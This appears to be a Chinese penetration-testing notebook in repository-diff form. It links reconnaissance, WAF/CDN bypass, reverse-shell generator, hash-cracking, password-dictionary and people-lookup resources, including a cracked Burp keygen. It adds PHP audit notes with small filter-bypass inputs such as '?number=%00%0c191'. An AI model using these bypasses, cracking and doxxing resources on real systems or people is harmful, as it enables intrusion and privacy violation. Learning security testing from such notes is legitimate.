SPF/DKIM/DMARC analyzer tools](https://dmarcly.com/tools/)（SPF/DKMI/DMARC验证） 199 | 200 | [SPF Query Tool](https://www.kitterman.com/spf/validate.html)（SPF验证） 201 | 202 | [垃圾邮件检测](https://www.mail-tester.com/) （检测发信邮箱垃圾邮件的匹配度） 203 | 204 | [邮件伪造之SPF绕过的5种思路](https://www.t00ls.net/viewthread.php?tid=56426\&highlight=%E9%82%AE%E4%BB%B6%E4%BC%AA%E9%80%A0) 205 | 206 | #### 邮箱服务 207 | 208 | ``` 209 | # 邮服归属 210 | 211 | 1. 判断是服务商提供、自建mail服务 212 | 2. 查看解析记录中的MX记录、TXT记录 213 | 3. 查看服务商是否提供邮箱服务 214 | 215 | # 邮服登录口 216 | 217 | 1. 通过MX记录找到入口 218 | 我们拿到目标网站的时候，首先要先从MX记录域名找到他的真实ip地址（某些目标可能是的是第三方邮件服务器，这种情况mx记录没啥用了）； 219 | 然后针对这个ip地址的c段进行扫描（25、109、110、143、465、995、993端口），一般情况下都很容易找到目标的邮件服务器入口。 220 | 2. 通过扫描子域名的的方式找到邮件入口 221 | 这里扫描子域名的工具有很多，如Sublist3r、TeeMO、LangSrcCurise、挖掘机等不一一举例。 222 | 3. 通过搜索引擎找入口 223 | site:target.com intitle:"Outlook Web App" 224 | site:target.com intitle:"mail" 225 | site:target.com intitle:"webmail" 226 | Shodan、fofa、zoomeye直接搜索mx记录的IP、子域名等。 227 | 4. 通过不存在邮箱的退信 228 | 查看退信邮件原文 229 | ``` 230 | 231 | ### 指纹识别 232 | 233 | [云悉WEB资产梳理-在线CMS指纹识别平台 - 云悉安全](http://www.yunsee.cn)（综合型-推荐） 234 | 235 | [在线指纹识别,在线cms识别小插件--BugScaner](http://whatweb.bugscaner.com/look/) 236 | 237 | [ThreatScan - 免费的网站在线安全检测平台-TScan](https://scan.top15.cn/web/) 238 | 239 | [Wappalyzer](https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg) （浏览器插件） 240 | 241 | ### CDN\WAF 242 | 243 | ``` 244 | # 判断cdn 245 | 246 | 手动ping（根据返回的特殊cdn主机名判断） 247 | nslookup（返回域名解析对应多个 IP 地址，网站可能部署CDN业务） 248 | 在线多地区ping 249 | 浏览器插件Wappalyzer 250 | 历史解析记录（判断 IP 是否在常见 CDN 服务商的服务器 IP 段上、看结果是否有大量不相关的域名存在） 251 | https证书（有的cdn颁发的证书带有cdn名称） 252 | 观察请求响应的返回数据的头部，是否有 CDN 服务商标识 253 | 若 asp 或者 asp.net 网站返回头的 server 不是 IIS、而是 Nginx，则多半使用了nginx反向代理到 CDN 254 | 在线检测：https://www.cdnplanet.com/tools/cdnfinder/ 255 | 256 | # 判断waf 257 | 258 | 查看返回包有无WAF字样 259 | waf00f 260 | 查看拦截页面信息 261 | ``` 262 | 263 | #### BypassCDN 264 | 265 | ``` 266 | CDN 2021 完全攻击指南 （一） 267 | 268 | https://www.anquanke.com/post/id/227818 269 | 270 | 一、通过查询 DNS 记录 / IP 历史记录 / 子域名 等数据记录 271 | 二、通过 Email 邮局 272 | 三、通过 SSL 证书 273 | 四、通过海外 DNS 查询 274 | 五、通过敏感文件泄露 275 | 六、通过变更的域名 276 | 七、 通过 APP 移动端应用 277 | 八、通过 F5 LTM 解码 278 | 九、通过 CDN 标头特征值 279 | 十、通过 XML-RPC PINGBACK 通信 280 | 十一、通过 FTP/SCP 协议 281 | 十二、利用 Websocket 协议 282 | 十三、通过社会工程学 283 | 十四、通过网站漏洞 284 | 十五、通过全网扫描 285 | 十六、通过 virtual-host 碰撞 286 | 十七、通过 favicon.ico 哈希特征 287 | 十八、通过网页源码特征值 288 | 十九、通过网站远程资源业务 289 | 二十、通过 CDN 机器 290 | 二十一、通过流量耗尽、流量放大攻击 291 | 二十二、通过域名备案信息广域探测 292 | 二十三、利用 CDN 服务商默认配置 293 | 二十四、通过 SSH 指纹 294 | 二十五、使用 CloudFair 工具 295 | 296 | CDN 2021 完全攻击指南 （二） 297 | 298 | https://www.anquanke.com/post/id/231437 299 | 太高级了 300 | 301 | CDN 2021 完全攻击指南 （三） 302 | 303 | https://www.anquanke.com/post/id/231441 304 | 太高级了 305 | ``` 306 | 307 | #### BypassWAF 308 | 309 | ``` 310 | https://waf-bypass.com/ 311 | ``` 312 | 313 | ### 端口扫描 314 | 315 | [在线端口扫描仪由Nmap提供支持- HackerTarget.com](https://hackertarget.com/nmap-online-port-scanner/) 316 | 317 | [在线Nmap扫描仪-nmap.online](https://nmap.online) 318 | 319 | [Nmap提供免费和在线开放端口以及正在运行的服务扫描程序](https://w-e-b.site/?act=nmap) 320 | 321 | [带有选项的GUI Nmap在线扫描仪](https://w-e-b.site/?act=nmap-online)（可自定义） 322 | 323 | [IPv6 addresses Port scaning (nmap for IPv6)](https://w-e-b.site/?act=nmap-ipv6)（IPv6） 324 | 325 | [NMAP SCRIPT HELP -VER007](https://www.lshack.cn/nmap-script/nmap-script-help.html)（nmap脚本手册） 326 | 327 | ### Whois查询 328 | 329 | [爱特高级WHOIS查询系统](https://whois.aite.xyz)（可以查看明文信息） 330 | 331 | [Whois Search, Domain History, Reverse IP/NS Lookups and more](https://whoisrequest.com) 332 | 333 | [WHOIS Search, Domain Name, Website, and IP Tools - Who.is](https://who.is) 334 | 335 | [BackyardRevolution.org WHOIS，DNS和域信息-DomainTools](http://whois.domaintools.com) 336 | 337 | [国家域名 Whois - 中国互联网络信息中心](https://whois.cnnic.cn/WelcomeServlet) 338 | 339 | [IP Whois - 中国互联网络信息中心 ](http://ipwhois.cnnic.net.cn)(可以拓展ip段) 340 | 341 | ### 镜像历史 342 | 343 | {% embed url="https://archive.org/" %} 344 | 345 | ### APP收集 346 | 347 | [https://apkpure.com/](https://apkpure.com) 348 | 349 | [https://apkfun.com/](https://apkfun.com) 350 | 351 | [https://www.qimai.cn/](https://www.qimai.cn)（适用国内企业） 352 | 353 | ### 域名工具 354 | 355 | #### 单一域名 356 | 357 | [站长工具-百度权重排名查询-站长seo查询 - 爱站网](https://www.aizhan.com) 358 | 359 | [Chinaz-网站Alexa排名](https://alexa.chinaz.com/default.html) 360 | 361 | [SEO综合查询 - 站长工具](http://seo.chinaz.com) 362 | 363 | #### 批量域名查询 364 | 365 | [买链帮手\_最好用的网站批量查询工具](http://www.link114.cn)（link114推荐） 366 | 367 | [域名批量查询](https://www.xz.com/domainTool/batchSearch)（综合型） 368 | 369 | #### 域名处理 370 | 371 | [一键提取Url的根域名](https://www.a-site.cn/tool/domain/) 372 | 373 | ### 插件扩展 374 | 375 |
插件名称（Chrome）功能
Charset网页编码修改
FeHelperJS/JSON/代码美化...
HackBar编码解码/发包测试
Proxyverse端口代理
ScanAnnotationF12 快速显示页面注释内容
ShodanIP识别
Wappalyzer指纹识别
Web Scraper浏览器爬虫
Modify Header Value修改请求头
X-Forwarded-For HeaderXFF头
Hack-Tools集成各种反弹shell、sql、xss、msf命令...
FindSomethingJS接口获取、链接提取
Penetration Testing Kit抓包测试、加解密、
Authenticator绑定二次认证码
SourceDetector-dist自动发现.map文件
SingleFile网页克隆
376 | 377 |
插件名称（Burp)功能
新版下载https://portswigger.net/burp/releases
注册机https://down.52pojie.cn/Tools/Network_Analyzer
jython-standalonehttps://search.maven.org/artifact/org.python/jython-standalone
BurpShiroPassiveScanhttps://github.com/pmiaowu/BurpShiroPassiveScan
BurpBountyPlushttps://github.com/ggg4566/BurpBountyPlus
BurpFastJsonScanhttps://github.com/pmiaowu/BurpFastJsonScan
FastJsonScanhttps://github.com/zilong3033/fastjsonScan
log4j2Scanhttps://github.com/pmiaowu/log4j2Scan
Log4j2Scanhttps://github.com/whwlsfb/Log4j2Scan
SpringScanhttps://github.com/metaStor/SpringScan
SpringSpiderhttps://github.com/whwlsfb/SpringSpider
TsojanScanhttps://github.com/Tsojan/TsojanScan
Turbo Intruderhttps://mp.weixin.qq.com/s/CoTlpOOq2-_0ZzVWc42Q5w
Burp Requestshttps://github.com/silentsignal/burp-requests
burpFakeIPhttps://github.com/TheKingOfDuck/burpFakeIP
Knifehttps://github.com/bit4woo/knife
NEW_xp_CAPTCHAhttps://github.com/smxiazi/NEW_xp_CAPTCHA
Captcha Killerhttps://github.com/c0ny1/captcha-killer
Chunked Coding Converterhttps://github.com/c0ny1/chunked-coding-converter
BurpSuite_403Bypasserhttps://github.com/sting8k/BurpSuite_403Bypasser
BypassProhttps://github.com/0x727/BypassPro
AWS Security Checkshttps://portswigger.net/bappstore/f078b9254eab40dc8c562177de3d3b2d
Wsdlerhttps://github.com/portswigger/wsdler
.NET Beautifierhttps://github.com/portswigger/dotnet-beautifier
ViewState Editorhttps://github.com/portswigger/viewstate-editor
HaEhttps://github.com/gh0stkey/HaE
Passive Scan Clienthttp://github.com/c0ny1/passive-scan-client
burp-wildcardhttps://github.com/hvqzao/burp-wildcard
APIKithttps://github.com/API-Security/APIKit
JWT4Bhttps://github.com/ozzi-/JWT4B
BurpCryptohttps://github.com/whwlsfb/BurpCrypto
burp-awesome-tlshttps://github.com/sleeyax/burp-awesome-tls
burp-requests-Pythonhttps://github.com/silentsignal/burp-requests/releases
xia_sql（瞎注）https://github.com/smxiazi/xia_sql
xia_Yue（瞎越）https://github.com/smxiazi/xia_Yue
burpJsEncrypterhttps://github.com/TheKingOfDuck/burpJsEncrypter
378 | 379 | ## 在线工具 380 | 381 | ### 编码解码 382 | 383 | [字节换算器\_字节转换器\_电脑内存/硬盘大小字节单位换算器\_55查询](http://cunchu.55cha.com/) 384 | 385 | [php编码转换工具 - Base64+Gzinflate在线压缩 - 站长工具 - 追溯](http://www.zhuisu.net/tool/phpencode.php) 386 | 387 | [Ascii转中文字符-中文转Ascii编码-在线Ascii编码解码工具](http://www.jsons.cn/ascii/) 388 | 389 | [XSS'OR - Hack with JavaScript](http://xssor.io) 390 | 391 | [\[代码审计\] 知识星球小工具](https://zsxq.tricking.io/tool/)（全） 392 | 393 | [HTML特殊字符编码对照表](https://www.jb51.net/onlineread/htmlchar.htm) 394 | 395 | [javascript编码自动化](http://0xcc.net/jsescape/) 396 | 397 | [Xss测试字符串转换工具-工具猫](https://www.toolmao.com/xsstranser)（String.fromCharCode()） 398 | 399 | [Unicode - Compart](https://www.compart.com/en/unicode/) （bypass waf [参考](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)） 400 | 401 | [PlayGround](https://tool.leavesongs.com)（全） 402 | 403 | ### 加密解密 404 | 405 | #### 哈希识别 406 | 407 | [哈希类型识别](https://w-e-b.site/?act=hashtag) 408 | 409 | #### 哈希破解 410 | 411 | [NTLM密码加密计算器](https://www.jisuan.mobi/p11BbzHum6b3uyJW.html)（明文转hash） 412 | 413 | [Bcrypt Generator - Online Hash Generator and Checker](https://bcrypt-generator.com/) 414 | 415 | [利用独有算法加上CUDA平台算力支持百分百破译LMHASH、Net-NTLMv1密文](https://crypto.lab.mistiny.com/) 416 | 417 | [cmd5在线解密破解,md5解密加密](https://www.cmd5.com) （推荐） 418 | 419 | [Get Cracking | crack.sh](https://crack.sh/get-cracking/) 420 | 421 | [ObjectifSécurité - Ophcrack](https://www.objectif-securite.ch/ophcrack) 422 | 423 | [ChaMd5.Org](http://www.chamd5.org) 424 | 425 | [SOMD5](https://www.somd5.com) 426 | 427 | [md5 cracker - The fastest way to recover your lost passwords - Crack it](http://md5this.com) 428 | 429 | #### 大小转换 430 | 431 | 字节换算器\_字节转换器\_电脑内存/硬盘大小字节单位换算器\_55查询 432 | 433 | ### SQL注入 434 | 435 | [带有sqlmap的免费和在线SQL注入扫描程序](https://w-e-b.site/?act=sqlmap) 436 | 437 | [SQL注入知识库](https://websec.ca/kb/sql_injection) 438 | 439 | [NetSPI SQL注入Wiki](https://sqlwiki.netspi.com) 440 | 441 | [SQL injection cheat sheet | Web Security Academy](https://portswigger.net/web-security/sql-injection/cheat-sheet) 442 | 443 | ### XSS备忘 444 | 445 | [ezXSS](https://ez.pe/manage/account/signup) (开源免费xss平台) 446 | 447 | [HTML5 Security Cheatsheet](https://html5sec.org) 448 | 449 | [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) （portswigger） 450 | 451 | [XSS 过滤器规避备忘单](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) （OWASP） 452 | 453 | [Tiny XSS Payloads](https://terjanq.github.io/Tiny-XSS-Payloads/index.html) （极短） 454 | 455 | [Bypass xss过滤的测试方法 - 五道口杀气](http://drop.zone.ci/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html) 456 | 457 | [XSS\_Cheat\_Sheet\_2020\_Edition](https://github.com/heroanswer/XSS_Cheat_Sheet_2020_Edition)（github） 458 | 459 | [( XSS ) Vulnerability Payload List](https://github.com/payloadbox/xss-payload-list)（github） 460 | 461 | #### 编码小结 462 | 463 | ``` 464 | 一、浏览器解析机制 465 | 466 | https://0verwatch.top/xss-encodeorder.html 467 | 468 | 二、JS编码与HTML编码区分 469 | 470 | HTML实体可以使用 471 | 472 | 十进制 (a)、十六进制 (a) 473 | 474 | javascript可以使用 475 | 476 | Unicode编码 (\u0061)、ASCII (String.fromCharcode(97))、八进制 (\141)、十六进制 (\x61) 477 | 478 | 三、编码区分 479 | 480 | 对于HTML编码 481 | 482 | 1. （HTML实体十进制编码） 483 | 2. （HTML实体十六进制编码） 484 | 485 | 对于JS编码 486 | 487 | 1.（JS Unicode编码） 488 | 2.（JS八进制编码） 489 | 3.（JS十六进制编码） 490 | ``` 491 | 492 | ### 反弹SHELL 493 | 494 | [Reverse shell cheatsheet](https://ir0ny.top/pentest/reverse-encoder-shell.html)（快速生成） 495 | 496 | [Online - Reverse Shell Generator](https://www.revshells.com) （推荐） 497 | 498 | [Reverse Shell as a Service](https://github.com/lukechilds/reverse-shell)（自动化反弹脚本） 499 | 500 | [RUNTIME.EXEC有效负载生成器](https://ares-x.com/tools/runtime-exec/) 501 | 502 | ### DNSLOG 503 | 504 | [Interactsh | Web Client](https://app.interactsh.com/) (Projectdiscory官方提供) 505 | 506 | [ByteVet | Free tools](https://byte.vet/) 507 | 508 | [CallBack.Red Dns、Http、Rmi、Ldap Log、CmdtoDNSLog](https://www.callback.red/) (自动带外数据记录) 509 | 510 | ### 密码字典 511 | 512 | #### 常用字典 513 | 514 | 
提供了 25 个在线破解和 25 个离线破解接口，支持 48 种算法破解
515 | • https://github.com/L-codes/pwcrack-framework [密码破解框架]
516 | 
517 | 常见设备
518 | • https://github.com/7hang/Fuzz_dic
519 | • https://github.com/Sab0tag3d/Network_password [cisco]
520 | 
521 | 国外通用大字典
522 | • https://github.com/Stardustsky/SaiDict
523 | • https://github.com/danielmiessler/SecLists
524 | 
525 | 自己收集整理的端口，子域，账号密码，其他杂七杂八字典，用于自己使用。贴近实战
526 | • https://github.com/TheKingOfDuck/fuzzDicts [Web Pentesting Fuzz 字典]
527 | • https://github.com/r35tart/RW_Password [此项目提取收集到强盗的密码中符合条件的弱密码]
528 | • https://github.com/ffffffff0x/AboutSecurity [用于渗透测试和红队基础设施建设的 payload 和 bypass 字典]
529 | • https://github.com/cwkiller/Pentest_Dic
530 | • https://github.com/gh0stkey/Web-Fuzzing-Box [Web Fuzzing Box]
531 | • https://github.com/random-robbie/bruteforce-lists [目录/api/脚本...]
532 | • https://github.com/k8gege/PasswordDic
533 | • https://github.com/3had0w/Fuzzing-Dicts
534 | • https://github.com/j3ers3/PassList
535 | • https://github.com/fuzz-security/SuperWordlist [基于实战沉淀下的各种弱口令字典]
536 | • https://github.com/Daveqqq/weak-passwords-top200 [各国密码top200]
537 | • https://github.com/t43Wiu6/blackJack-Dicts [参考十余个项目整理的目录和文件字典]
538 | • https://github.com/f0ng/JavaFileDict [Java应用的一些配置文件/路径字典 ]
539 | • https://github.com/w2n1ck/phone_dict [一个开发测试常用的特殊手机号字典]
540 | • https://github.com/rootphantomer/Blasting_dictionary [a5源码网源码目录字典]
541 | • https://github.com/SexyBeast233/SecDictionary [手机号字典]
542 | • https://github.com/Bo0oM/fuzz.txt [高危敏感目录fuzz-长期维护]
543 | • https://wordlists.assetnote.io/ [Assetnote Wordlists-国外整理字典]
544 | 
545 | somd5的字典
546 | • https://www.somd5.com/download/dict/
547 |     SoMD5-Monthly-statistics/                          16-Jul-2020 14:47       -
548 |     crack-software/                                    16-Jul-2020 14:47       -
549 |     china-all-hanzi.zip                                16-Jul-2020 14:47     52K
550 |     china-gb3500.zip                                   16-Jul-2020 14:47     10K
551 |     china-xingshi.zip                                  16-Jul-2020 14:47    3006
552 |     domain_suffix.zip                                  16-Jul-2020 14:47     26K
553 |     english.zip                                        16-Jul-2020 14:47     51K
554 |     mobile.zip                                         16-Jul-2020 14:47    724K
555 |     name-pinyin-quanpin.zip                            16-Jul-2020 14:47      6M
556 |     name-pinyin-shouzimu.zip                           16-Jul-2020 14:47     34K
557 |     top1w.zip                                          16-Jul-2020 14:47     40K
558 |     username-num-top1000.zip                           16-Jul-2020 14:47    3156
559 |     xingming.zip                                       16-Jul-2020 14:47    128K
560 |     yyyymmdd-1960-2020.zip                             16-Jul-2020 14:47     40K
561 | • https://www.somd5.com/somd5top10w.tar.gz
562 | 
563 | 中文拼音
564 | • https://github.com/rakjong/top-500-username
565 | • https://github.com/ffffffff0x/name-fuzz [针对目标已知信息的字典生成工具]
566 | • https://github.com/WangYihang/ccupp [基于社会工程学的弱口令密码字典生成工具]
567 | • https://github.com/LandGrey/ChineseMaskReflector [使用掩码生成自定义中文用户名拼音爆破字典]
568 | 
569 | 域用户枚举字典 
570 | • https://github.com/attackdebris/kerberos_enum_userlists
571 | 
572 | 定制化自定义生成
573 | • https://github.com/ffffffff0x/gendict
574 | • https://github.com/Mebus/cupp
575 | • https://github.com/HongLuDianXue/BaiLu-SED-Tool
576 | • https://github.com/bit4woo/passmaker
577 |
578 | 579 | #### 密码策略 580 | 581 | [搜密码 - web中间件/web应用/IOT设备/视频设备/路由器等默认密码查询](http://www.sopwd.com) - 搜密码 sopwd.com 582 | 583 | [Default Passwords - CIRT.net](https://cirt.net/passwords) - 提供528个供应商，2102个密码的默认密码查询 584 | 585 | [Default Router Login, Passwords and IP Addresses](https://www.cleancss.com/router-default/) - 只需选择设备品牌，就可以查找 586 | 587 | [HUAWEI 默认账号/密码查询工具](https://support.huawei.com/onlinetoolweb/pqt/index.jsp) **-** HUAWEI企业网络产品，可根据产品/版本或关键字快速检索信息 588 | 589 | [路由器密码社区数据库](http://www.routerpasswords.com) - 查找路由器的默认密码，输入厂商就可以找到默认密码列表 590 | 591 | [默认路由器密码列表](https://portforward.com/router-password/) - Internet上最全面的默认路由器密码列表 592 | 593 | [默认路由器用户名和密码](https://bestvpn.org/default-router-passwords/) - 路由器用户名，密码和IP的综合列表。提供了2354个默认用户密码查询 594 | 595 | [工具锚路由器默认密码查询](https://toolmao.com/baiduapp/routerpwd/) - 支持国内主流的路由器品牌，提供在线查询功能 596 | 597 | [默认密码列表](https://datarecovery.com/rd/default-passwords/) - 提供了一个默认密码列表，不定期更新，可通过网页CTRL+F搜索 598 | 599 | #### 密码生成 600 | 601 | [生成随机密码 - 密码生成器](https://suijimimashengcheng.51240.com) 602 | 603 | [密码生成器-LastPass](https://www.lastpass.com/zh/password-generator) 604 | 605 | ### 数据处理 606 | 607 | #### 邮件分析 608 | 609 | [邮件原文分析](https://w-e-b.site/?act=email) 610 | 611 | #### 文件分析 612 | 613 | [从可执行文件中提取所有字符串](https://w-e-b.site/?act=rabin2) 614 | 615 | [显示有关可执行文件的信息](https://w-e-b.site/?act=rabin2i) 616 | 617 | #### 杂七杂八 618 | 619 | [Burp Post、Get数据包转为上传multipart/form-data格式数据包工具 - 数据包格式在线转换](http://ld8.me/multipart.php) 620 | 621 | [在线二维码解码器 二维码安全检测工具](http://jiema.wwei.cn) 622 | 623 | [PDF 转换为 PPT 和 PPTX 文件](https://www.ilovepdf.com/zh_cn/pdf_to_powerpoint) 624 | 625 | [cookie字符串转json(dict字典)](http://tools.bugscaner.com/cookietodict) 626 | 627 | [字数统计\_在线字数计算器\_英文汉字字数统计\_兼容手机版\_一站阅读](https://www.a-site.cn/tool/zi/) 628 | 629 | [草料二维码生成器](https://cli.im) 630 | 631 | [iHateRegex - 正则表达式](https://ihateregex.io) 632 | 633 | ### 点击劫持 634 | 635 | [Quickjack - samy kamkar](http://samy.pl/quickjack/quickjack.html) 636 | 637 | ### 点击分析 638 | 639 | [实时Web分析| Clicky](https://clicky.com) 640 | 641 | ### 提权辅助 642 | 643 | [极光无限-安全扫描仪](https://detect.secwx.com)（通用） 644 | 645 | [提权辅助网页](https://bugs.hacking8.com/tiquan/)（Win） 646 | 647 | [Windows Privilege Escalation Exploit Search](http://blog.neargle.com/win-powerup-exp-index/)（Win） 648 | 649 | [Find Missing Patches](https://patchchecker.com)（Win） 650 | 651 | [enumy](https://github.com/luke-goddard/enumy)（Linux） 652 | 653 | [GTFOBins](https://gtfobins.github.io)（Linux - 二进制速查 ） 654 | 655 | [LOLBAS](https://lolbas-project.github.io) （Win - 二进制速查） 656 | 657 | [WADComs](https://wadcoms.github.io)（AD环境渗透命令速查） 658 | 659 | ### 杀软识别 660 | 661 | [windows进程识别-棱角社区](https://forum.ywhack.com/bountytips.php?process) （高亮、进程很全） 662 | 663 | [刨洞技术交流](http://42.193.251.15/tasklist.php) （维护的很好） 664 | 665 | [杀软在线识别-渊龙Sec安全团队](https://av.aabyss.cn/) 666 | 667 | ### 沙盒分析 668 | 669 | [Interactive Online Malware Analysis Sandbox - ANY.RUN](https://app.any.run) 670 | 671 | [https://sandbox.ti.qianxin.com/sandbox/page](https://sandbox.ti.qianxin.com/sandbox/page) 672 | 673 | ### APP安全 674 | 675 | [Android Security Wiki](http://www.droidsec.cn/android-security-basic/) 676 | 677 | [摸瓜](https://mogua.co/) （app在线分析很详细） 678 | 679 | [免费在线脱壳](https://56.al/) （Android） 680 | 681 | [应用商店ipa提取](https://ipadump.com/#/dump) (IOS) 682 | 683 | [PCAPdroid](https://github.com/emanuele-f/PCAPdroid) （无需root的抓包神器，https需配合 [PCAPdroid-mitm](https://github.com/emanuele-f/PCAPdroid-mitm)） 684 | 685 | [Reqable](https://reqable.com/zh-CN/android/) （极简的设计、丰富的功能、高效的性能和桌面手机多端平台） 686 | 687 | ### 社会工程 688 | 689 | #### 注册查询 690 | 691 | [你注册过哪些网站？一搜便知 - REG007](https://www.reg007.com) 692 | 693 | [CheckUserNames](https://checkusernames.com) （在线 OSINT 工具，可帮助您在 170 多个社交网络中查找用户名。它还可以用于检查品牌公司名称，而不仅仅是个人。） 694 | 695 | tg社工库 696 | 697 | [通过 Github 找到一个人](https://www.ixiqin.com/2020/01/how-to-find-a-person-through-making/) 698 | 699 | [google 文档反查Gmail](https://github.com/Malfrats/xeuledoc) 700 | 701 | #### 链接定位 702 | 703 | [诚殷网络-来源管理用户中心](https://re.chinacycc.com/index.php?type=login) 704 | 705 | [遇见数据仓库-遇见工具-定位资源-在线数据仓库-福利资源-met.red](https://met.red) 706 | 707 | #### IP-/-定位 708 | 709 | [RTBAsia ODX - Open Data Exchange](https://ip.rtbasia.com)（精度高） 710 | 711 | #### 密码生成 712 | 713 | [社工密码字典在线生成](https://www.xiaobaibk.com/guess/) 714 | 715 | [社工密码字典在线生成](https://xsshs.cn/xss.php?do=pass) 716 | 717 | #### **密码泄露** 718 | 719 | [Privacy | 个人数据泄漏检测](https://privacy.aiuys.com) 720 | 721 | ## 文章聚合 722 | 723 | [hacktricks](https://book.hacktricks.xyz) （各种命令、提示、攻击方法） 724 | 725 | [Offensive Security Cheatsheet](https://cheatsheet.haax.fr)（安全方面基本都涉及了，很全很牛逼） 726 | 727 | [Active Directory - Internal Pentest](https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory) （AD渗透，一套流程+姿势） 728 | 729 | [The Hacker Recipes](https://www.thehacker.recipes) (AD安全居多) 730 | 731 | [InfoSec Notes](https://notes.qazeer.io/)（AD安全命令） 732 | 733 | [Pentest Book](https://pentestbook.six2dez.com) （AD安全命令、渗透checklist） 734 | 735 | [Web-Attack-Cheat-Sheet](https://github.com/riramar/Web-Attack-Cheat-Sheet)（工具命令、渗透checklist） 736 | 737 | [Pentest\_Note](https://github.com/xiaoy-sec/Pentest_Note)（没有思路 / 忘记命令就看看） 738 | 739 | [\[代码审计\]知识星球](https://zsxq.tricking.io) （技能提升） 740 | 741 | [Web安全学习笔记](https://websec.readthedocs.io/zh/latest/index.html)（系统学习） 742 | 743 | [CTF Wiki](https://wiki.x10sec.org)（细节 + 总结） 744 | 745 | [洞见网安](https://wechat.doonsec.com/)（公众号-聚合平台） 746 | 747 | [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) （Payload集合） 748 | 749 | [bugbountyhunting](https://www.bugbountyhunting.com)（漏洞赏金搜索引擎） 750 | 751 | [Hack Inn](https://www.hackinn.com) （安全大会议题ppt集合） 752 | 753 | [阿里云漏洞库](https://avd.aliyun.com) （漏洞更新及时） 754 | 755 | [长亭漏洞库](https://stack.chaitin.com/vuldb/index)（漏洞更新及时） 756 | 757 | [PeiQi文库 · 语雀](https://www.yuque.com/peiqiwiki/)（poc集合） 758 | 759 | [SecurityList](https://github.com/ax1sX/SecurityList)（web渗透+代码审计） 760 | 761 | [云安全攻防](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/) （云安全集合） 762 | 763 | [T Wiki 面向云安全方向的知识文库](https://wiki.teamssix.com/) （云安全集合） 764 | -------------------------------------------------------------------------------- /dai-ma-shen-ji/php-1.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: PHP-tips 3 | --- 4 | 5 | # PHP-tips 6 | 7 | ### 变量覆盖 8 | 9 | #### extract() 10 | 11 | 该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组中的每个元素，将在当前符号表中创建对应的一个变量。条件：若有EXTR\_SKIP则不行。 12 | 13 | ```php 14 | "Cat","b" => "Dog", "c" => "Horse"); 17 | extract($my_array); 18 | echo "\$a = $a; \$b = $b; \$c = $c"; 19 | ?> 20 | # 结果：$a = Cat; $b = Dog; $c = Horse 21 | 复制代码 22 | ``` 23 | 24 | 这里原来是`$a`是original，后面通过extract把`$a`覆盖变成了Cat了,所以这里把原来的变量给覆盖了。 25 | 26 | ```php 27 | #?shiyan=&flag=1 28 | $value){ 80 | ?key = $chs->Convert($value); 81 | } 82 | unset($chs); 83 | } 84 | 复制代码 85 | ``` 86 | 87 | #### 全局变量覆盖漏洞 88 | 89 | 原理： `register_globals` 是php中的一个控制选项，可以设置成off或者on, 默认为off, 决定是否将 EGPCS（Environment，GET，POST，Cookie，Server）变量注册为全局变量。 如果register\_globals打开的话, 客户端提交的数据中含有GLOBALS变量名, 就会覆盖服务器上的`$GLOBALS`变量. 90 | 91 | `$_REQUEST` 这个超全局变量的值受 `php.ini`中`request_order`的影响，在`php5.3.x`系列中，`request_order`默认值为GP，也就是说默认配置下`$_REQUEST`只包含`$_GET`和`$_POST`而不包括`$_COOKIE`。通过COOKIE就可以提交GLOBALS变量。 92 | 93 | ```php 94 | $v) unset(${$k}); 102 | print $a; 103 | print $_GET[b]; 104 | 复制代码 105 | ``` 106 | 107 | 经过测试，开了register\_globals会卡死 108 | 109 | ### 绕过过滤的空白字符 110 | 111 | 原理：[baike.baidu.com/item/控制字符](https://baike.baidu.com/item/%E6%8E%A7%E5%88%B6%E5%AD%97%E7%AC%A6) 112 | 113 | ```php 114 | 控制码 115 | "\0" "%00" (ASCII 0 (0x00))，空字节符。 116 | 117 | 制表符 118 | "\t" (ASCII 9 (0x09))，水平制表符。 119 | 120 | 空白字符： 121 | "\n" (ASCII 10 (0x0A))，换行符。 122 | "\v" "\x0b" (ASCII 11 (0x0B))，垂直制表符。 123 | "\f" "%0c" 换页符 124 | "\r" "%0d"(ASCII 13 (0x0D))，回车符。 125 | 126 | 空格: 127 | " " "%20" (ASCII 32 (0x20))，普通空格符。 128 | 复制代码 129 | ``` 130 | 131 | 而trim过滤的空白字符有 132 | 133 | ```php 134 | string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] ) 135 | 复制代码 136 | ``` 137 | 138 | 其中缺少了\f 139 | 140 | 2 函数对空白字符的特性 141 | 142 | is\_numeric函数在开始判断前，会先跳过所有空白字符。这是一个特性。 143 | 144 | 也就是说，is\_numeirc(" \r\n \t 1.2")是会返回true的。同理，intval(" \r\n \t 12")，也会正常返回12。 145 | 146 | 案例 147 | 148 | \[github.com/bowu678/php…]\(https://github.com/bowu678/php\_bugs/blob/master/02 绕过过滤的空白字符.php) 149 | 150 | ```php 151 | #?number=%00%0c191 152 | # 1 %00绕过is_numeric 153 | # 2 \f（也就是%0c）在数字前面，trim，intval和is_numeric都会忽略这个字符 154 | 复制代码 155 | ``` 156 | 157 | ### intval整数溢出 158 | 159 | php整数上限溢出绕过intval 160 | 161 | intval 函数最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上， intval('1000000000000') 会返回 2147483647。 64 位系统上，最大带符号的 integer 值是 9223372036854775807。 162 | 163 | ### intval 四舍五入 164 | 165 | ```php 166 | # ?a=1024.1 167 | no! try again

